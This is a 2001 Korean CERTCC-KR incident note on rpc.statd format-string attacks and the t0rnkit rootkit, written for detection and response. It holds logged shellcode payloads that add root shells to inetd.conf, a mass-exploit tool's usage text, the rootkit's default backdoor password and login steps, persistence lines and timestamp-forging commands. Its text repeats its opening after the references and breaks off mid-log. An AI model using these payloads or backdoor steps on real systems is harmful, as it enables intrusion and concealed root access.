rpc.statd을 이용한 공격과 t0rnkit 트로이목마 설치
페이지 정보
본문
KIN-01-002
rpc.statd을 이용한 공격과 t0rnkit 트로이목마 설치
2001. 3. 2
정현철/CERTCC-KR, hcjung@certcc.or.kr
전숙/CERTCC-KR, chs@certcc.or.kr
1. 개요
최근 몇 개월 동안의 해킹피해시스템에서 rpc.statd 취약점을 이용하여 시스템관리자 권한을 획득당하고 t0rnkit이라는 일종의 루트킷을 설치되는 것을 많이 볼 수 있다.
리눅스 플랫폼을 운용하는 기관에서는 rpc.statd 취약점에 노출되어 있지 않는지 살펴보아야 하겠다.
최근 CERTCC-KR에 접수되고 있는 많은 해킹 사고 중 개인 PC를 제외한 서버급 해킹사고에서 공격에 가장 많이 이용되고 있는 것이 rpc.statd 취약점으로 분석되고 있다. 이 취약점은 이미 한국정보보호센터 CERTCC-KR에서 작년 9월 1일 "리눅스 rpc.statd의 input format string 취약점"이라는 제목으로 취약점과 방지대책을 설명한 바 있다. 하지만 최근까지도 국내의 많은 리눅스 서버들이 이 취약점으로 인해 공격을 받고 있다.
rpc.statd 취약점을 공격할 수 있는 도구들은 인터넷상에서 쉽게 구할 수 있고, 시스템에 대한 특별한 지식이 없는 Script Kiddie 들도 공개도구를 이용하여 원격지에서 쉽게 시스템관리자 권한을 획득할 수 있다. 또한 네트워크를 통해 자동으로 전파되는 인터넷 웜의 일종인 Ramen 인터넷 웜도 이 취약점을 포함하여 wu-ftp, lpr 취약점을 이용하여 전파된다.
rpc.statd 등의 취약점을 이용하여 시스템 관리자 권한을 획득한 공격자들은 최근 t0rnkit이라는 진보된 형태의 루트킷을 설치하고 있어 시스템관리자들을 속이고 분석을 어렵게 하고 있다. 본 문서에서는 rpc.statd 취약점으로 인한 해킹현황 및 대책을 알아보고, t0rnkit이 설치되어 있을 경우 분석할 수 있는 방법을 알아보도록 한다.
Top
2. 공격방법
가. rpc.statd 공격
먼저 rpc.statd 취약점은 지난해 보급된 CERTCC-KR 보안권고문에 자세히 설명되어 있다.
KA-2000-030-input format string vulnerability of Linux rpc.statd http://www.certcc.or.kr/advisory/ka2000/ka2000-030.txt
nfs-utils 패키지의 한 부분인 rpc.statd는 RedHat을 포함한 많은 리눅스 배포판에 포함되어 있으며, 대부분 기본적으로 실행되고 있다. 그런데 rpc.statd 은 수행되면서 클라이언트쪽에서 온 format string을 서버내의 syslog()함수에 전달하는 과정에서 적절한 input validation을 하지 않아 원격지에서 rpc.statd 실행권한(대부분 root)으로 임의의 명령을 실행할 수 있다.
이 취약점은 이미 잘 알려져 있으며 인터넷 상에 이 취약점을 스캔하고 공격할 수 있는 도구들이 공개되어 있다. 또한 대규모 네트워크를 대상으로 임의의 포트를 root shell로 바인딩할 수 있는 도구도 공개되어 있어 대규모 피해가 예상된다.
다음은 A, B, C 클래스를 대상으로 자동으로 rpc.statd 취약점을 공격하여 루트 쉘을 열 수 있는 도구이다. 이 도구는 인터넷상에 공개되어 있다.
statd mass rooter by god-@EFNet <god@bestshell.ca>
./attack [-a x] [-b x.x] [-c x.x.x] -p port -o outputfile -f children -t timeout
-a x - a-class address, e.g 24.
-b x.x - b-class address, e.g 24.12.
-c x.x.x - c-class address, e.g 24.12.55.
-p port - port that the bindshell will be on.
-o outfile - results will be given in the outfile.
-f child - number of max children for our fork(), e.g 100.
-t timeout - number of seconds until a host will timeout, e.g 3.
-h - this help screen.
Note that you need to choose only 1 type of scanning
that'll be, -a, -b or -c.
이 취약점에 대한 공격을 탐지할 수 있는 방법은 /var/log/messages 파일에서 rpc.statd와 관련된 로그를 점검하는 것이다.
다음은 rpc.statd 취약점 공격을 받은 시스템에 남은 공격 흔적들이다.
Aug 31 10:43:21 linux18.certcc.or.kr rpc.statd[410]:
SM_MON request for hostname containing
'/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473
6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 000000000000000000
000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000bffff704
00000000000000000000000000000000000000000000000bffff7050000bffff706000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v<83><8D>^(<83><89>^<83>
<8D>^.<83><83><83>#<89>^1<83><88>F'<88>F*<83> <88>F<89>F+,<89><8D>N<8D>V<80>1
<89>@<80>/bin/sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall
-HUP inetd
Jan 22 00:40:27 victim rpc.statd[525]: SM_MON request for hostname containing '/':
^D??D??E??E??F??F??G??G?풺ffff72c bffff730 08049f19 4d5f4d53 72204e4f 65757165 66207473 6820726f
6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 00000000000000000000000 0000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000bffff70400000000000000000000000000000000000000000000000bffff705000
0bffff7060000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000bffff707릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?^뎧쵁?(꺠 ?컘 ?.꺠
꺝 껊#??픺 뉶'뉶*꺠 뉶쳣F린+, 됹뛐쵋V맹 1???瘟 bin/sh -c echo "9088 stream tcp nowait
root /bin/sh -i" >>/tmp/m; /usr/sbin/inetd /tmp/m;
Feb 8 19:57:37 victim rpc.statd[524]:
gethostbyname error for^X??X??Y??Y??Z??Z??[??[?풺ffff74c 804a658 805447c687465676274736f6d61
6e797265206520726f7220726f66bffff718 bffff719 bffff71abffff71b릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
Feb 19 02:48:30 victim
rpc.statd[539]: gethostbyname error for^X??X??Y??Y??Z??Z??[??[?풺ffff72c 804a6589090909068746567
6274736f6d616e797265206520726f7220726f66bffff718 bffff719 bffff71abffff71b\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220
rpc.statd를 공격할 수 있는 몇 종류의 도구가 인터넷 상에 공개되어 있으며 이러한 공격 도구에 의해 공격을 받았을 경우 위와 같은 공격 흔적들이 남게 된다. 어떤 공격도구는 9704번 포트를 root shell로 열리도록 하는데 이 도구에 의해 수많은 국내 리눅스 시스템들이 해킹당하기도 했다. 물론 이 공격 형태는 두 번째 공격로그와 같이 포트번호를 변화시킬 수도 있다.
또한 대규모 네트워크를 대상으로 일반적인 백도어 포트들을 스캔하는 경우도 흔히 볼 수 있다. 아래 로그는 ccc.ddd.0 네트워크를 대상으로 9704 포트가 열려진 서버를 찾고 있다.
Time|Src IP | Src port | Dst IP | Dst Port | Protocol | Other info | Classification
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.10|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.11|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.15|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.16|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.18|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.19|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.20|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.21|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.22|9704|TCP|fl=SF|SYNFIN
2001-02-15 13:34:46|aaa.bbb.7.194|9704|ccc.ddd.0.26|9704|TCP|fl=SF|SYNFIN
이러한 공격은 rpc.statd 등 다양한 공격에 의해 디폴트로 열리는 백도어 포트를 스캔하여 쉽게 루트권한을 얻고자 하는 이들의 공격이라고 볼 수 있다. 자동화된 공격도구들의 공격에 의해 디폴트로 열리는 포트는 9704번 포트 이외에도 2222번 포트, 1524번(ingreslock) 포트, 600번(pcserver) 포트 등이 있으므로 자신의 네트워크에 이러한 포트가 열려져 있지 않는지 확인해 볼 필요가 있다.
Top
나. t0rnkit 설치
rpc.statd, wu-ftpd, LPRng 등의 취약점을 이용하여 시스템에 침입한 공격자는 시스템을 이용하여 원하는 작업들을 하게된다. 단순히 자신의 해킹실력을 과시하고자 하는 해커는 홈페이지를 바꾸고 자신의 해킹실력을 알리는가하면 해킹한 서버에 DDoS agent를 설치하여 서비스거부공격에 이용하기도 한다. 최근에 해킹당한 시스템에서 자주 볼 수 있는 현상이 t0rnkit이라는 일종의 rootkit이 발견되고 있다.
t0rnkit은 지난 2000년 중반경부터 나타나기 시작하여 최근 해커들사이에 일반화된 도구이다. 이 도구는 기존의 루트킷과 전혀 다른 개념은 아니고 기본적인 기능은 lrk 등 기존의 루트킷과 거의 유사하지만, 리눅스 시스템에서 빠르게 설치되도록 디자인되어졌으며, 설치 및 운영이 매우 간편하기 때문에 많이 사용되어 지고 있다. 공격자가 자신의 공격사실을 숨기거나 백도어를 설치하기 위해 필요한 파일들은 모두 이미 컴파일된 실행파일 형태로 제공되고 있으며 이는 앞서 살펴본 rpc.statd 등을 이용한 대규모 해킹피해시스템에 신속하게 백도어와 트로이목마를 설치할 수 있게 해준다.
t0rnkit이 설치되었을 경우 login, ls, ps, netstat 등 많은 시스템파일을 트로이쟌으로 바꾸기 때문에 일반적인 루트킷과 마찬가지로 분석이 쉽지 않다.
지금부터 t0rnkit의 특성을 살펴보고 해킹피해시스템에 t0rnkit이 설치되어 있을 경우 분석방법에 대해 알아보기로 하자.
설치에 앞서 t0rnkit 아카이브 파일을 열면 tk라는 디렉토리 아래에 다음과 같은 파일들을 볼 수 있다.
[root@linux80 trojan]# cd tk
[root@linux80 tk]# ls -al
total 666
drwx------ 3 502 502 1024 Sep 13 19:43 ./
drwxr-xr-x 8 root root 1024 Feb 27 16:16 ../
drwxr-xr-x 2 root root 1024 Sep 13 18:50 dev/
-rwxr-xr-x 1 root root 22460 Aug 23 2000 du*
-rwxr-xr-x 1 root root 57452 Aug 23 2000 find*
-rwxr-xr-x 1 root root 32728 Aug 23 2000 ifconfig*
-rwxr-xr-x 1 root root 6408 Aug 23 2000 in.fingerd*
-rwxr-xr-x 1 root root 3964 Aug 23 2000 login*
-rwxr-xr-x 1 root root 39484 Aug 23 2000 ls*
-rwxr-xr-x 1 root root 53364 Aug 23 2000 netstat*
-rwxr-xr-x 1 root bin 4568 Sep 13 19:43 pg*
-rwxr-xr-x 1 root root 31336 Aug 23 2000 ps*
-rwxr-xr-x 1 root root 13184 Aug 23 2000 pstree*
-rw-r--r-- 1 root root 100424 Aug 23 2000 ssh.tgz
-rwxr-xr-x 1 root root 1382 Jul 25 2000 sz*
-rwxr-xr-x 1 root root 7877 Sep 13 19:24 t0rn*
-rwxr-xr-x 1 root root 7578 Aug 22 2000 t0rnp*
-rwxr-xr-x 1 root root 6948 Aug 23 2000 t0rns*
-rwxr-xr-x 1 root root 1345 Sep 10 1999 t0rnsb*
-rwxr-xr-x 1 root root 266140 Jul 18 2000 top*
-rw-r--r-- 1 root root 3095 Sep 13 19:26 tornkit-README
-rw-r--r-- 1 root bin 197 Sep 13 19:25 tornkit-TODO
설치는 ./t0rn 으로 간단히 할 수 있으며 백도어에 사용되는 패스워드와 ssh 포트번호를 바꿀 수도 있다.
Usage : ./t0rn <password> <ssh-port>
t0rnkit이 설치되면 시스템에 다음과 같은 변화가 일어난다.
첫째, 재침입을 위한 백도어가 설치된다.
login, ssh, finger 파일을 트로이목마로 변형하여 공격자가 정의한 패스워드를 입력할 경우 루트쉘을 획득할 수 있다. 루트쉘을 얻을 수 있는 매직 패스워드는 /etc/ttyhash 파일에 pg라는 프로그램에 의해 생성된 해쉬된 패스워드가 저장된다.
[root@linux80 trojan]# more /etc/ttyhash
dbMOBckWBUppg
dbMOBckWBUppg
Top
디폴트 패스워드는 "t0rnkit"이며 설치시 패스워드를 변경할 수 있으며, login, ssh, finger 백도어가 이 패스워드를 이용한다.
이 세가지 백도어에 대해 알아보도록 하자.
□ login
/* 디폴트 패스워드는 "t0rnkit"이다. */
bash# export DISPLAY=t0rnkit-looser
bash# telnet tornkit.com
Trying 127.0.0.1...
Linux 2.2.16 (tornkit.com)
login: torn /* 사용자명은 상관없음 */
Password:
bash#
□ ssh
/* 디폴트 포트는 47017이다. */
ssh -l t0rnkit-looser -p <ssh-port>
/* 포트번호는 설치시 바꾸는 외에도 커맨드라인에서 바꿀수도 있다. */
ssh -l <login> -p <ssh-port>
시스템이 부팅될 때마다 ssh 데몬(nscd라는 Name Server Cache Daemon으로 가장하고 있음)이 자동으로 실행되게 한다.
echo "# Name Server Cache Daemon..">> /etc/rc.d/rc.sysinit
echo "/usr/sbin/nscd -q" >> /etc/rc.d/rc.sysinit
국내 해킹 피해시스템에서는 /etc/rc.d/rc.sysinit 파일에 ssh 백도어 뿐만 아니라 분산서비스거부공격 도구인 TFN2K agent 프로그램인 td도 부팅시 실행되도록 하고 있어 국외 해커들에 의해 서비스거부공격에 이용되고 있었다.
다음은 국내 피해시스템에서 발견된 /etc/rc.d/rc.sysinit 파일의 내용이다.
# Name Server Cache Daemon..
/usr/sbin/nscd -q
#td start
/usr/src/.puta/td
□ finger
/* inetd에 2555번 포트를 통하여 쉘을 부여한다. */
finger password@tornkit.com
네트워크 상태를 점검하여 47017나 2555번 포트가 열려져 있는지 점검할 필요가 있다. 하지만 netstat도 t0rnkit이 설치될 경우 트로이버젼으로 변경되므로 lsof를 사용하여 보자. lsof | grep LISTEN을 하게되면 listenig하고 있는 47017 port를 볼 수 있다.
nscd 107 root 8u IPv4 110 TCP *:47017 (LISTEN)
inetd 370 root 5u IPv4 329 TCP *:ftp (LISTEN)
inetd 370 root 6u IPv4 330 TCP *:telnet (LISTEN)
inetd 370 root 7u IPv4 331 TCP *:shell (LISTEN)
inetd 370 root 9u IPv4 332 TCP *:finger (LISTEN)
inetd 370 root 10u IPv4 333 TCP *:linuxconf (LISTEN)
시스템 내에서 네트워크 상태를 볼 수도 있지만 원격지에서 t0rnkit이 디폴트로 사용하는 포트가 열려져 있는지 점검할 수도 있다. nmap을 이용해 대상 시스템의 45000에서 48000번 포트를 스캐닝 함으로서 t0rnkit(엄밀히 이야기하면 ssh)을 발견할 수 있다. nmap의 결과는 다음과 같다.
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
Interesting ports on (192.168.1.3):
(The 4000 ports scanned but not shown below are in state: closed)
Port State Service
47017/tcp open unknown
TCP Sequence Prediction: Class=random positive increments
Difficulty=3980866 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16
Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds
국내 해킹피해시스템 분석과정에서 트로이쟌 ssh를 위해 47017포트가 열려져 있는 경우보다는 47432포트가 많이 열려져 있었다. 포트번호는 공격자에 의해 쉽게 변경이 가능하다는 점을 명심하여야 하겠다.
Top
둘째, 몇몇 시스템 파일들이 트로이목마 버젼으로 변경된다.
여기서 du, find, ifconfig, in.fingerd, login, ls, netstat, ps, sz, top 파일은 공격자가 의도하는 기능이 숨겨진 트로이쟌 파일들로 기존의 정상적인 파일을 대체하게 된다. t0rnkit의 홈디렉토리 역할을 하는 /usr/src/.puta 아래에 t0rnkit을 운영하는데 필요한 sniffer, logcleaner 등과 함께 트로이쟌으로 변경된 ps, ls 등에서 숨기고자 하는 파일이나 포트, 주소 등이 정의되어 있다.
[root@linux80 trojan]# ls -al /usr/src/.puta
total 23
drwxr-xr-x 2 root root 1024 Mar 2 17:13 .
drwxr-xr-x 5 root root 1024 Mar 2 17:13 ..
-rw-r--r-- 1 root root 22 Mar 2 17:13 .1addr
-rw-r--r-- 1 root root 72 Mar 2 17:13 .1file
-rw-r--r-- 1 root root 21 Mar 2 17:13 .1logz
-rw-r--r-- 1 root root 38 Mar 2 17:13 .1proc
-rwxr-xr-x 1 root root 7578 Aug 22 2000 t0rnp
-rwxr-xr-x 1 root root 6948 Aug 23 2000 t0rns
-rwxr-xr-x 1 root root 1345 Sep 10 1999 t0rnsb
시스템파일들의 변경여부는 파일 사이즈와 timestamp를 점검하는 것을 고려할 수 있다. 하지만 이 부분에서 t0rnkit은 매우 교묘해서 trojaned binaries는 정상적인 binaries와 똑같은 정확한 timestamp를 가지도록 하고 있다.
t0rnkit 설치시 다음과 같이 timestamp를 바꾸는 과정을 거친다.
touch -acmr /sbin/ifconfig ifconfig
touch -acmr /bin/ps ps
touch -acmr /usr/bin/du du
touch -acmr /bin/ls ls
touch -acmr /bin/netstat netstat
touch -acmr /usr/sbin/in.fingerd in.fingerd
touch -acmr /usr/bin/find find
touch -acmr /usr/bin/top top
하지만 파일 사이즈는 다르다. lrk 등 일반적인 루트킷과는 달리 컴파일과정 없이 실행파일형태로 제공되고 있기 때문에 이들의 파일사이즈를 비교함으로써 쉽게 트로이로 변경된 여부를 알 수 있다. 예를 들어 Red Hat 6.1의 /bin/ps를 ls -al로 보면 그 결과는 다음과 같다.
-r-xr-xr-x 1 root root 61244 Sept 26 1999
t0rn이 설치되어 있다면 결과는 아래와 같이 나타난다.
-r-xr-xr-x 1 root root 31336 Sept 26 1999
실행파일 형태로 제공되고 있으므로 설치시 보았던 파일 사이즈들을 비교하면 쉽게 트로이목마로 변경된 것을 알 수 있다. 하지만 실행파일 형태로 제공되고 있어 필요한 라이브러리가 없어 정상적으로 실행이되지 않는 경우도 시스템에 따라 발생한다. ls, ps 등의 명령어들이 갑자기 정상적으로 동작하지 않을 경우에도 트로이쟌으로 바뀌었을 가능성을 의심해 보기 바란다.
셋째, 스니퍼와 로그 cleaner가 설치된다.
/usr/src/.puta 아래에 sniffer 프로그램인 t0rns와 스니퍼 로그 파싱을 위한 t0rnp, 그리고 로그 삭제를 위한 t0rnsb 파일을 볼 수 있다.
lsof | grep t0rn를 하게되면 t0rn이 운영하는 모든 프로세스를 찾을 수 있다.
다음은 lsof -grep t0rn을 한 결과이다.
t0rns 557 root cwd DIR 3,1 0 51920 /home/tmiller/tk (deleted)
t0rns 557 root rtd DIR 3,1 4096 2 /
t0rns 557 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
t0rns 557 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.5
t0rns 557 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5/lib/libc.so.5.3.12
t0rns 557 root 0u sock 0,0 489 can't identify protocol
t0rns 557 root 1w REG 3,1 0 51963 /home/tmiller/tk/system (deleted)
t0rns 632 root cwd DIR 3,1 4096 36547 /usr/src/.puta
t0rns 632 root rtd DIR 3,1 4096 2 /
t0rns 632 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
t0rns 632 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.5
t0rns 632 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5/lib/libc.so.5.3.12
t0rns 632 root 0u sock 0,0 533 can't identify protocol
t0rns 632 root 1w REG 3,1 0 34668 /usr/src/.puta/system
여기에서 몇가지 중요한 사실을 볼 수 있다. 첫째로 sniffer 파일인 /usr/src/.puta/t0rns이 운영되고 있음을 알 수 있으며, 또한 t0rn의 숨겨진 디렉토리 /usr/srec/.puta을 볼 수 있다. 이 두 파일은 t0rn을 확인할 수 있는 중요한 식별자이다.
이상과 같은 현상이외에도 t0rnkit이 설치되면서 syslog.conf 파일에서 원격로그 서버에 로깅이 되고 있는지 살펴보고, /etc/hosts.deny의 설정상태를 점검하기도 한다. 또한 /etc/inetd.conf 파일에서 공격을 위해 필요한 telnet, shell, finger 서비스가 닫혀져 있을 경우 강제로 열어 놓기도 한다.
Top
3. 대응책
rpc.statd 취약점에 대한 대응으로는 해당 서비스를 중지하는 방법과 이 서비스가 필요할 경우 패치를 하는 두가지 방법이 있다.
우선 rpc.statd가 필요없는 경우(NFS를 사용하지 않을 경우)에는 이 서비스를 다음과 같이 중지시킨다.
# chkconfig --level 0123456 nfs off
NFS 서비스가 필요할 경우 nfs-utils를 패치한다. 국내에서 많이 사용되고 있는 RedHat의 경우 버전과 아키텍쳐에 따라 다음에서 패치파일을 받을 수 있다.
- RedHat Linux 6.2 sparc: ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm
- RedHat Linux 6.2 i386: ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm
- RedHat Linux 6.2 alpha: ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm
- RedHat Linux 6.1 sparc: ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm
- RedHat Linux 6.1 i386: ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm
- RedHat Linux 6.1 alpha: ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm
- RedHat Linux 6.0 sparc: ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm
- RedHat Linux 6.0 i386: ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm
- RedHat Linux 6.0 alpha: ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm
t0rnkit에 대한 대응은 일반적인 트로이목마 프로그램에 대한 대응책과 마찬가지로 우선 시스템에 불법적인 침입이 없도록 시스템을 안전하게 유지하는 것이다. 또한 운영체제를 설치할 때 t0rnkit이나 다른 루트킷을 탐지하기 위한 계획이 요구되는데, Tripwire와 같은 프로그램을 이용하여 주기적으로 시스템의 무결성을 점검할 필요가 있다.
4. 참고자료
KA-2000-030-input format string vulnerability of Linux rpc.stad http://www.certcc.or.kr/advisory/ka2000/ka2000-030.txt
Multiple Linux Vendor rpc.statd Remote Format String Vulnerability http://www.securityfocus.com/bid/1480
CA-2000-17: Input Validation Problem In rpc.statd http://www.cert.org/advisories/CA-2000-17.html
IN-2000-10: Widespread Exploitation of rpc.statd and wu-ftpd Vulnerabilities http://www.cert.org/incident_notes/IN-2000-10.html
Analysis of the T0rn Rootkit, http://packetstorm.securify.com/papers/IDS/t0rn.txt
rpc.statd을 이용한 공격과 t0rnkit 트로이목마 설치
2001. 3. 2
정현철/CERTCC-KR, hcjung@certcc.or.kr
전숙/CERTCC-KR, chs@certcc.or.kr
1. 개요
최근 몇 개월 동안의 해킹피해시스템에서 rpc.statd 취약점을 이용하여 시스템관리자 권한을 획득당하고 t0rnkit이라는 일종의 루트킷을 설치되는 것을 많이 볼 수 있다.
리눅스 플랫폼을 운용하는 기관에서는 rpc.statd 취약점에 노출되어 있지 않는지 살펴보아야 하겠다.
최근 CERTCC-KR에 접수되고 있는 많은 해킹 사고 중 개인 PC를 제외한 서버급 해킹사고에서 공격에 가장 많이 이용되고 있는 것이 rpc.statd 취약점으로 분석되고 있다. 이 취약점은 이미 한국정보보호센터 CERTCC-KR에서 작년 9월 1일 "리눅스 rpc.statd의 input format string 취약점"이라는 제목으로 취약점과 방지대책을 설명한 바 있다. 하지만 최근까지도 국내의 많은 리눅스 서버들이 이 취약점으로 인해 공격을 받고 있다.
rpc.statd 취약점을 공격할 수 있는 도구들은 인터넷상에서 쉽게 구할 수 있고, 시스템에 대한 특별한 지식이 없는 Script Kiddie 들도 공개도구를 이용하여 원격지에서 쉽게 시스템관리자 권한을 획득할 수 있다. 또한 네트워크를 통해 자동으로 전파되는 인터넷 웜의 일종인 Ramen 인터넷 웜도 이 취약점을 포함하여 wu-ftp, lpr 취약점을 이용하여 전파된다.
rpc.statd 등의 취약점을 이용하여 시스템 관리자 권한을 획득한 공격자들은 최근 t0rnkit이라는 진보된 형태의 루트킷을 설치하고 있어 시스템관리자들을 속이고 분석을 어렵게 하고 있다. 본 문서에서는 rpc.statd 취약점으로 인한 해킹현황 및 대책을 알아보고, t0rnkit이 설치되어 있을 경우 분석할 수 있는 방법을 알아보도록 한다.
Top
2. 공격방법
가. rpc.statd 공격
먼저 rpc.statd 취약점은 지난해 보급된 CERTCC-KR 보안권고문에 자세히 설명되어 있다.
KA-2000-030-input format string vulnerability of Linux rpc.statd http://www.certcc.or.kr/advisory/ka2000/ka2000-030.txt
nfs-utils 패키지의 한 부분인 rpc.statd는 RedHat을 포함한 많은 리눅스 배포판에 포함되어 있으며, 대부분 기본적으로 실행되고 있다. 그런데 rpc.statd 은 수행되면서 클라이언트쪽에서 온 format string을 서버내의 syslog()함수에 전달하는 과정에서 적절한 input validation을 하지 않아 원격지에서 rpc.statd 실행권한(대부분 root)으로 임의의 명령을 실행할 수 있다.
이 취약점은 이미 잘 알려져 있으며 인터넷 상에 이 취약점을 스캔하고 공격할 수 있는 도구들이 공개되어 있다. 또한 대규모 네트워크를 대상으로 임의의 포트를 root shell로 바인딩할 수 있는 도구도 공개되어 있어 대규모 피해가 예상된다.
다음은 A, B, C 클래스를 대상으로 자동으로 rpc.statd 취약점을 공격하여 루트 쉘을 열 수 있는 도구이다. 이 도구는 인터넷상에 공개되어 있다.
statd mass rooter by god-@EFNet <god@bestshell.ca>
./attack [-a x] [-b x.x] [-c x.x.x] -p port -o outputfile -f children -t timeout
-a x - a-class address, e.g 24.
-b x.x - b-class address, e.g 24.12.
-c x.x.x - c-class address, e.g 24.12.55.
-p port - port that the bindshell will be on.
-o outfile - results will be given in the outfile.
-f child - number of max children for our fork(), e.g 100.
-t timeout - number of seconds until a host will timeout, e.g 3.
-h - this help screen.
Note that you need to choose only 1 type of scanning
that'll be, -a, -b or -c.
이 취약점에 대한 공격을 탐지할 수 있는 방법은 /var/log/messages 파일에서 rpc.statd와 관련된 로그를 점검하는 것이다.
다음은 rpc.statd 취약점 공격을 받은 시스템에 남은 공격 흔적들이다.
Aug 31 10:43:21 linux18.certcc.or.kr rpc.statd[410]:
SM_MON request for hostname containing
'/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473
6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 000000000000000000
000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000bffff704
00000000000000000000000000000000000000000000000bffff7050000bffff706000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v<83><8D>^(<83><89>^<83>
<8D>^.<83><83><83>#<89>^1<83><88>F'<88>F*<83> <88>F<89>F+,<89><8D>N<8D>V<80>1
<89>@<80>/bin/sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf;killall
-HUP inetd
Jan 22 00:40:27 victim rpc.statd[525]: SM_MON request for hostname containing '/':
^D??D??E??E??F??F??G??G?풺ffff72c bffff730 08049f19 4d5f4d53 72204e4f 65757165 66207473 6820726f
6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 00000000000000000000000 0000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000bffff70400000000000000000000000000000000000000000000000bffff705000
0bffff7060000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000bffff707릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?^뎧쵁?(꺠 ?컘 ?.꺠
꺝 껊#??픺 뉶'뉶*꺠 뉶쳣F린+, 됹뛐쵋V맹 1???瘟 bin/sh -c echo "9088 stream tcp nowait
root /bin/sh -i" >>/tmp/m; /usr/sbin/inetd /tmp/m;
Feb 8 19:57:37 victim rpc.statd[524]:
gethostbyname error for^X??X??Y??Y??Z??Z??[??[?풺ffff74c 804a658 805447c687465676274736f6d61
6e797265206520726f7220726f66bffff718 bffff719 bffff71abffff71b릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱
